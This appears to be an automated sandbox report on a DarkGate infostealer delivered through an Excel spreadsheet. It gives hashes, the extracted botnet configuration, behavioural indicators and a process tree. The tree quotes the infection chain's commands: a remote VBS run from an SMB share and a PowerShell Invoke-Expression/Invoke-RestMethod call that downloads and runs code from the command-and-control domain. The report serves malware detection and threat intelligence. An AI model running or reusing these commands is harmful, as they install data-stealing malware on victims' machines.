darkgate | 2a9095ba227ab3f6903767fb5e996e3f56eb141472d12fd28eb7b7028074be6f

Analysis

max time kernel
299s
max time network
275s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28-02-2024 19:13

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General

Target

scan-28-02-24_8533.xlsx
Size

29KB
MD5

40aaf96cca181e21db1cf6285ac3288e
SHA1

7dbb59fe9600785a8d56590a5472e6a247f67a02
SHA256

2a9095ba227ab3f6903767fb5e996e3f56eb141472d12fd28eb7b7028074be6f
SHA512

051a26edd4645bdeaa907dc4b36a15997f8f4e8cedb171fa906ff33a0c55eca69a60d4f819d4fb85ad63d3728c18e39c43a8a79a9a48b593ce6737915c00b6d2
SSDEEP

768:wnEQpllh7tAafroiianGoHoJ+yWWn0WhtFK3:nQJh7Lro4ntD+0A03

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

cayennesxque.boo

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
true
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ekoRFSqn
minimum_disk
50
minimum_ram
7000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral2/memory/4896-68-0x0000000006080000-0x00000000063CF000-memory.dmp	family_darkgate_v6
behavioral2/memory/4896-69-0x0000000006080000-0x00000000063CF000-memory.dmp	family_darkgate_v6
behavioral2/memory/2420-106-0x00000000056D0000-0x0000000005A1F000-memory.dmp	family_darkgate_v6
behavioral2/memory/2420-107-0x00000000056D0000-0x0000000005A1F000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2740	732	WScript.exe	20
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2700	732	WScript.exe	20

Blocklisted process makes network request 8 IoCs

flow	pid	Process
50	5116	powershell.exe
51	5116	powershell.exe
53	5116	powershell.exe
54	5116	powershell.exe
67	4564	powershell.exe
68	4564	powershell.exe
69	4564	powershell.exe
70	4564	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
4896	AutoIt3.exe
2420	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
732	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
5116	powershell.exe
5116	powershell.exe
5116	powershell.exe
5116	powershell.exe
4564	powershell.exe
4564	powershell.exe
4564	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 732 wrote to memory of 2740	732	EXCEL.EXE	99
PID 732 wrote to memory of 2740	732	EXCEL.EXE	99
PID 2740 wrote to memory of 5116	2740	WScript.exe	100
PID 2740 wrote to memory of 5116	2740	WScript.exe	100
PID 5116 wrote to memory of 4896	5116	powershell.exe	102
PID 5116 wrote to memory of 4896	5116	powershell.exe	102
PID 5116 wrote to memory of 4896	5116	powershell.exe	102
PID 732 wrote to memory of 2700	732	EXCEL.EXE	105
PID 732 wrote to memory of 2700	732	EXCEL.EXE	105
PID 2700 wrote to memory of 4564	2700	WScript.exe	106
PID 2700 wrote to memory of 4564	2700	WScript.exe	106
PID 4564 wrote to memory of 2420	4564	powershell.exe	108
PID 4564 wrote to memory of 2420	4564	powershell.exe	108
PID 4564 wrote to memory of 2420	4564	powershell.exe	108

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_8533.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:732
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4896
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
13d07c38c6752a866f9f18368cd69ef7

SHA1
a0b0d95283176f159bfed75ec96d7fa048cde922

SHA256
71af1cc7aa47ce29d1718e53c20853f3659046c09c58adf79aae00acb617026e

SHA512
bc92a11e853556931618e1c8604c28de437ae8c055ef6135a35d6ae9d0eb19fa30d3ba4fc9287d7dcd0501af3a5d4b21670b6f70afdcbf09ba761a3a9d652c20

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1lfj0tzs.z04.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Roaming\KcbcdAK

Filesize
32B

MD5
58e945b03203e8b72e56768845336dfb

SHA1
9db2f00d76c28336ab046464e39fd2f93e888e4c

SHA256
f262abc34f70bfaf3f1c9681d9d80c6b5e0f9f32c4116cc6ab0f7a48dbac2041

SHA512
0d36d97b657ea0d6a751860114a7712c8f6fbd303d4e8a58ac2da4f13afe880e8c52bda84c3028162e6727f66d70824c3f34efc1a72b34cbb9c6b57d5af1f464

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C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\temp\script.a3x

Filesize
468KB

MD5
5dc0a5b884e44209941ec370406fbcc5

SHA1
b06cf5d11a5a7252afff61c1a787fb27ff126e28

SHA256
68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9

SHA512
0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53

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C:\temp\test.txt

Filesize
76B

MD5
8b428b9d5c33c6ed79386d4c10600cd8

SHA1
0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e

SHA256
424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6

SHA512
307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892

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memory/732-18-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-8-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-9-0x00007FF893C30000-0x00007FF893C40000-memory.dmp

Filesize
64KB

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memory/732-11-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-12-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-15-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-14-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-13-0x00007FF893C30000-0x00007FF893C40000-memory.dmp

Filesize
64KB

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memory/732-16-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-17-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-2-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-19-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-29-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-30-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-0-0x00007FF895C90000-0x00007FF895CA0000-memory.dmp

Filesize
64KB

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memory/732-10-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-1-0x00007FF895C90000-0x00007FF895CA0000-memory.dmp

Filesize
64KB

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memory/732-3-0x00007FF895C90000-0x00007FF895CA0000-memory.dmp

Filesize
64KB

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memory/732-7-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-6-0x00007FF895C90000-0x00007FF895CA0000-memory.dmp

Filesize
64KB

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memory/732-46-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/732-4-0x00007FF895C90000-0x00007FF895CA0000-memory.dmp

Filesize
64KB

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memory/732-5-0x00007FF8D5C10000-0x00007FF8D5E05000-memory.dmp

Filesize
2.0MB

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memory/2420-104-0x00000000041D0000-0x00000000051A0000-memory.dmp

Filesize
15.8MB

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memory/2420-106-0x00000000056D0000-0x0000000005A1F000-memory.dmp

Filesize
3.3MB

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memory/2420-107-0x00000000056D0000-0x0000000005A1F000-memory.dmp

Filesize
3.3MB

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memory/4564-96-0x0000022944140000-0x0000022944150000-memory.dmp

Filesize
64KB

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memory/4564-97-0x0000022944140000-0x0000022944150000-memory.dmp

Filesize
64KB

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memory/4564-101-0x00007FF8ABB00000-0x00007FF8AC5C1000-memory.dmp

Filesize
10.8MB

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memory/4564-81-0x0000022944140000-0x0000022944150000-memory.dmp

Filesize
64KB

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memory/4564-80-0x00007FF8ABB00000-0x00007FF8AC5C1000-memory.dmp

Filesize
10.8MB

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memory/4896-68-0x0000000006080000-0x00000000063CF000-memory.dmp

Filesize
3.3MB

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memory/4896-69-0x0000000006080000-0x00000000063CF000-memory.dmp

Filesize
3.3MB

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memory/4896-67-0x0000000004B80000-0x0000000005B50000-memory.dmp

Filesize
15.8MB

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memory/5116-63-0x00007FF8ABB00000-0x00007FF8AC5C1000-memory.dmp

Filesize
10.8MB

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memory/5116-59-0x0000029218510000-0x0000029218520000-memory.dmp

Filesize
64KB

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memory/5116-58-0x0000029218510000-0x0000029218520000-memory.dmp

Filesize
64KB

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memory/5116-44-0x000002927FB10000-0x000002927FCD2000-memory.dmp

Filesize
1.8MB

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memory/5116-43-0x0000029218510000-0x0000029218520000-memory.dmp

Filesize
64KB

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memory/5116-42-0x0000029218510000-0x0000029218520000-memory.dmp

Filesize
64KB

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memory/5116-41-0x00007FF8ABB00000-0x00007FF8AC5C1000-memory.dmp

Filesize
10.8MB

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memory/5116-38-0x000002927DD30000-0x000002927DD52000-memory.dmp

Filesize
136KB

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